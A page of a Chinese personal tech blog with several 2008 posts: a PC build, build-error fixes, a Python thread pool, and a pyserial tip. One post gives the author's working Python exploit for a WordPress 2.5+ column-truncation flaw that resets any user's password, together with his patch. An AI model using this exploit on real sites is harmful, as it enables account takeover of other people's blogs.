可可熊D窝

Keep it simple, stupid


  • 首页

  • 关于

  • 标签182

  • 分类8

  • 归档359

  • 搜索

攒了台机器

发表 2008-10-15 | 分类 Life | 评论数: 0
| 字数: 441 | 阅读 ≈ 1 分钟
Intel 奔腾双核 E2180(盒)440
微星 G31M3-F                390
宇瞻 2GB DDR2 800         170
希捷 160G 7200.10 8M     290
先锋 DVR-116CH             190
优派 VA1616w                699
金河田 飓风8198              260
双飞燕                   60

送个摄像头,一共花了2490.

Comments

ninesuns: 我出售2手电脑。。。哈哈

可可熊: 这可是俺精打细算买的超级“低端机”啊!!

草儿: 我的办公室电脑也下来了,Dell 360 。比你的稍微好点。

草儿: 我晕~ 有钱人

kongove: 这下DP可以好好发挥一下了~~ 不过我现在到想要台 laptop

luguo: 忒便宜了~~比这里的多数EeePC还便宜~~!

Amankwah: 呵呵,DP开始置产业了~ 恭喜恭喜

configure时遇到的问题

发表 2008-10-10 | 分类 编程相关 | 评论数:
| 字数: 823 | 阅读 ≈ 1 分钟

编译一个游戏的客户端时遇到了点问题:
configure: error: C preprocessor “/lib/cpp” fails sanity check

首先确定是否安装了gcc-c++,如果没有则安装之;然后检查config.log文件,如果提示找不到limits.h文件,解决的办法是:
yum install kernel-headers

更多讨论见:http://www.linuxquestions.org/questions/linux-software-2/configure-error-c-preprocessor-libcpp-fails-sanity-check-124961/page3.html#post2974284

################################显眼的分隔线#######################################################
出来冒个泡,好久没更新了,今天遇到这个问题发现很多人在写相关的解决办法时很不全面,而我刚开始搜解决办法的时候也是被迷惑了好久。总结下经验吧,首先是要按照configure时的提示看看config.log文件,会有很有用的信息在里面,还有一点,把google的搜索语言改为英文,我的浏览器已经是默认设置了,中文的技术资料质量还是太差了。

顺便想起昨天偶尔去GameRes逛了下,发现了几个有意思的小游戏,结果下下来的文件中全是一堆垃圾,描述里面还说什么开源,评论里面也是一堆赞美的话,真是悲哀啊!!

Comments

kongove: Linux下我就玩“地下恐龙”和superTux。

Amankwah: 楼上也学会“冏”了? Linux就玩玩Ubuntu源里带的游戏就OK了,哈哈~

luguo: 我在opera里早就把google的改成英文的了~~不过最近一直在用firefox,所以还得手工修改~~冏

Python实现线程池

发表 2008-09-28 | 分类 编程相关 | 评论数:
| 字数: 6.5k | 阅读 ≈ 6 分钟

前言:
关于线程池(thread pool)的概念请参考http://en.wikipedia.org/wiki/Thread_pool_pattern。在Python中使用线程是有硬伤的,因为Python(这里指C语言实现的Python)的基本调用都最后生成对应C语言的函数调用,因此Python中使用线程的开销太大,不过可以使用Stackless Python(Python的一个修改版)来增强Python中使用线程的表现。
同时由于Python中GIL的存在,导制在使用多CPU时Python无法充分利用多个CPU,目前pysco这个模块可以针对多CPU提高Python的效率。

在C语言里要实现个线程池,就要面对一堆的指针,还有pthread这个库中那些看起来很让人头痛的一些函数:
int pthread_create(pthread_t restrict thread,
const pthread_attr_t
restrict attr,
void (start_routine)(void), void restrict arg);
而如果用Python来实现一个线程池的话就好多了,不仅结构十分清晰,而且代码看起来会很优美:

import  threading 
from  time  import  sleep 

class  ThreadPool: 

     """Flexible  thread  pool  class.   Creates  a  pool  of  threads,  then 
     accepts  tasks  that  will  be  dispatched  to  the  next  available 
     thread.""" 

     def  __init__(self,  numThreads): 

         """Initialize  the  thread  pool  with  numThreads  workers.""" 

         self.__threads  =  [] 
         self.__resizeLock  =  threading.Condition(threading.Lock()) 
         self.__taskLock  =  threading.Condition(threading.Lock()) 
         self.__tasks  =  [] 
         self.__isJoining  =  False 
         self.setThreadCount(numThreads) 

     def  setThreadCount(self,  newNumThreads): 

         """  External  method  to  set  the  current  pool  size.   Acquires 
         the  resizing  lock,  then  calls  the  internal  version  to  do  real 
         work.""" 

         #  Can't  change  the  thread  count  if  we're  shutting  down  the  pool! 
         if  self.__isJoining: 
             return  False 

         self.__resizeLock.acquire() 
         try: 
             self.__setThreadCountNolock(newNumThreads) 
         finally: 
             self.__resizeLock.release() 
         return  True 

     def  __setThreadCountNolock(self,  newNumThreads): 

         """Set  the  current  pool  size,  spawning  or  terminating  threads 
         if  necessary.   Internal  use  only;  assumes  the  resizing  lock  is 
         held.""" 

         #  If  we  need  to  grow  the  pool,  do  so 
         while  newNumThreads  >  len(self.__threads): 
             newThread  =  ThreadPoolThread(self) 
             self.__threads.append(newThread) 
             newThread.start() 
         #  If  we  need  to  shrink  the  pool,  do  so 
         while  newNumThreads  < len(self.__threads): 
             self.__threads[0].goAway() 
             del  self.__threads[0] 

     def  getThreadCount(self): 

         """Return  the  number  of  threads  in  the  pool.""" 

         self.__resizeLock.acquire() 
         try: 
             return  len(self.__threads) 
         finally: 
             self.__resizeLock.release() 

     def  queueTask(self,  task,  args=None,  taskCallback=None): 

         """Insert  a  task  into  the  queue.   task  must  be  callable; 
         args  and  taskCallback  can  be  None.""" 

         if  self.__isJoining  ==  True: 
             return  False 
         if  not  callable(task): 
             return  False 

         self.__taskLock.acquire() 
         try: 
             self.__tasks.append((task,  args,  taskCallback)) 
             return  True 
         finally: 
             self.__taskLock.release() 

     def  getNextTask(self): 

         """  Retrieve  the  next  task  from  the  task  queue.   For  use 
         only  by  ThreadPoolThread  objects  contained  in  the  pool.""" 

         self.__taskLock.acquire() 
         try: 
             if  self.__tasks  ==  []: 
                 return  (None,  None,  None) 
             else: 
                 return  self.__tasks.pop(0) 
         finally: 
             self.__taskLock.release() 

     def  joinAll(self,  waitForTasks  =  True,  waitForThreads  =  True): 

         """  Clear  the  task  queue  and  terminate  all  pooled  threads, 
         optionally  allowing  the  tasks  and  threads  to  finish.""" 

         #  Mark  the  pool  as  joining  to  prevent  any  more  task  queueing 
         self.__isJoining  =  True 

         #  Wait  for  tasks  to  finish 
         if  waitForTasks: 
             while  self.__tasks  !=  []: 
                 sleep(.1) 

         #  Tell  all  the  threads  to  quit 
         self.__resizeLock.acquire() 
         try: 
             self.__setThreadCountNolock(0) 
             self.__isJoining  =  True 

             #  Wait  until  all  threads  have  exited 
             if  waitForThreads: 
                 for  t  in  self.__threads: 
                     t.join() 
                     del  t 

             #  Reset  the  pool  for  potential  reuse 
             self.__isJoining  =  False 
         finally: 
             self.__resizeLock.release() 

class  ThreadPoolThread(threading.Thread): 
      """  Pooled  thread  class.  """ 

     threadSleepTime  =  0.1 

     def  __init__(self,  pool): 

         """  Initialize  the  thread  and  remember  the  pool.  """ 

         threading.Thread.__init__(self) 
         self.__pool  =  pool 
         self.__isDying  =  False 

     def  run(self): 

         """  Until  told  to  quit,  retrieve  the  next  task  and  execute 
         it,  calling  the  callback  if  any.   """ 

         while  self.__isDying  ==  False: 
             cmd,  args,  callback  =  self.__pool.getNextTask() 
             #  If  there's  nothing  to  do,  just  sleep  a  bit 
             if  cmd  is  None: 
                 sleep(ThreadPoolThread.threadSleepTime) 
             elif  callback  is  None: 
                 cmd(args) 
             else: 
                 callback(cmd(args)) 

     def  goAway(self): 

         """  Exit  the  run  loop  next  time  through.""" 

         self.__isDying  =  True 

这段100多行的代码完成了一个可动态改变的线程池,并且包含了详细的注释,这里是代码的出处。我觉得这段代码比Python官方给出的那个还要好些。他们实现的原理都是一样的,使用了一个队列(Queue)来存储任务。

关于Python中线程同步的问题,这里有不错的介绍。

Comments

crazyfranc: 你们公司主要用python做开发?

luguo: 也不怎么简单嘛 ~~ thread sucks… :-)

Amankwah: C对Thread的支持有问题吗?这个应该看内核和pthread库以及其他库怎么样吧? 我最近一直线程着呢,感觉Linux的线程确实不怎么样,我现在的感觉是它在凑合~

可可熊: 俺们公司用C++; 老大是越来越老糊涂了,俺什么时候说C对Thread的支持有问题!!

可可熊: 老大说Linux的线程不怎么样,你的意思是Windows的好还是Mac的好!!

wordpress漏洞利用-更改任意用户的密码

发表 2008-09-09 | 分类 编程相关 | 评论数:
| 字数: 3.5k | 阅读 ≈ 3 分钟

最近wordpress又出现了一个漏洞,详细描述见这里:http://milw0rm.com/exploits/6397,关于漏洞的形成原因这里:http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/有很好的描述,主要原因是由于wordpress对用户名的检查不足,使得过长的用户名可以注册,从而产生这个问题。

贴一下我写的利用工具,针对2.5及以上版本,可以更改(这里用重置更恰当)任意用户的密码,当然前提是这个wordpress开放了注册:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
#coding=utf-8
#author: cocobear.cn@gmail.com
#website:http://cocobear.github.io

""" exploit description:
http://milw0rm.com/exploits/6397
influencing:
wordpress 2.5 and above
This short code can change any user's password.
"""

import urllib,cookelib,urllib2,httplib
import sys
import poplib

#all you need to do is change this two lines:
base_url = "http://cocobear.github.io/"
hack_user= "cocobear"

def init():
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))

exheaders = [("User-Agent","Opera/9.27 (X11; Linux x86_64; U; en)"),("Connection","Keep-Alive"),("Referer","http://zzfw.sn.chinamobile.com"),("Accept","text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1"),("Accept-Charset","iso-8859-1, utf-8, utf-16, *;q=0.1"),("Cookie2","$Version=1"),]

opener.addheaders = exheaders
urllib2.install_opener(opener)
return opener

def register(opener):
global base_url,hack_user,hack_mail

#register a hack user
num = 60 - len(hack_user)
hack_user = hack_user + " "*num + "x"
body = (("user_login",hack_user),("user_email",hack_mail),)
ret = opener.open(base_url+"action=register",urllib.urlencode(body))
print ret.read()
exit()

def change_passwd(opener):
global base_url,hack_mail,hack_pass

body = (("user_login",hack_mail),)
print body
ret = opener.open(base_url+"action=lostpassword",urllib.urlencode(body))

print ret.read()

#get confirm mail
pop = poplib.POP3('pop.sina.com')
pop.user(hack_mail)
pop.pass_(hack_pass)
count = pop.stat()[0]
try:
data = pop.retr(count)[1]
except poplib.error_proto:
print 'get mail error'
return -1

for l in data:
if l.startswith(base_url):
confirm_url = l
print "Successful!"

#visit confirm mail
ret = opener.open(confirm_url)
#print ret.read()

def main(argv=None):
opener=init()
register(opener)
change_passwd(opener)

hack_mail= "wordpress_sql@sina.com"
hack_pass= "1234566"

base_url+= "wp-login.php?"

if __name__ == "__main__":
sys.exit(main())

大家不用试我的博客了,我自己打补丁了:

1
2
3
4
5
6
7
8
9
function validate_username( $username ) {
/* if (strlen($username) > 60) {
return False;
}
*/
$sanitized = sanitize_user( $username, true );
$valid = ( $sanitized == $username );
return apply_filters( 'validate_username', $valid, $username );
}

修改wp-includes/registration.php文件中的validate_username函数,注释部分是我添加的。

Comments

orz: 你好,请问这段代码如何编译呢~

nihuo13: cookelib应该是cookielib吧?

luguo: Orz

Amankwah: 为什么要开放注册呢?

草儿: 我只是在前几天看到这篇新闻后把注册关闭了,你倒是够狠,直接把程序都写出来了…… 这几天干嘛呢,一直不见你?

crazyfranc: 不开放就没那么多事了!

关于串口互联的问题

发表 2008-08-29 | 分类 编程相关 | 评论数:
| 字数: 963 | 阅读 ≈ 1 分钟

先来段插曲:

Python中有pyserial这个模块可以进行串口操作,今天试一下但发现写个最简单的脚本也出错:

import serial

serial = serial.Serial()
serial.port = 1
serial.timeout = 1

serial.read(1)

运行的结果是:
serial = serial.Serial()
AttributeError: ‘module’ object has no attribute ‘Serial’
仔细看了看serial库中确实有Serial这个类, 但为什么会出现这样的问题,想了半天没明白,最后google得到结论,问题是“我的文件名是serial.py”,贴出老外的解释:
Because “import serial” imports whatever thing it finds named serial, >
and it’s not finding PySerial because you have a module named >
serial.py. >
-bob来自

这次记下了,再不会犯这样的错误了。

搜pyserial相关资料的时候发现英文的很少,搜到不少cz(捷克)域名的文章,还有些de(德国)的,看不懂啊,现在发现英文资料真好,看着真舒服。(可惜那个Nginx是俄国人写的,又是一堆俄文,唉……)

好了,插曲结束,说下正题,本来是想实现个工具可以把机器上两个串口联起来,可以省去用线把两个串口联起来,但经过试验,又仔细想了想,发现这个想法是不可能的,因为程序对串口进行操作的话必须进行打开操作,而应用程序会先打开串口,所以就无法得到串口发出的数据,即使通过钩子技术获得数据,但也不能向这个串口发送数据,所以原理上应该是无法实现的。

Comments

dream: 哈哈,谢谢,谢谢,咱们俩的问题如出一辄,我的问题是文件的名字取成了unittest.py

Amankwah: 以后技术资料只写中文的,让外国人也郁闷~ 现在工控机通信几乎以串口为主,我整爽了~

luguo: Python还能进行这么底层的操作~!强悍~~

1…202122…72
cocobear

cocobear

爱折腾的技术宅一枚

359 日志
8 分类
182 标签
RSS
GitHub E-Mail Twitter 豆瓣
友情链接
  • 王聪
  • 老大
0%
© 2007 – 2020 cocobear | 521k | 7:54
由 Hexo 强力驱动 v3.9.0
|
主题 – NexT.Gemini v6.7.0
Hosted by GitHub Pages
48665 55787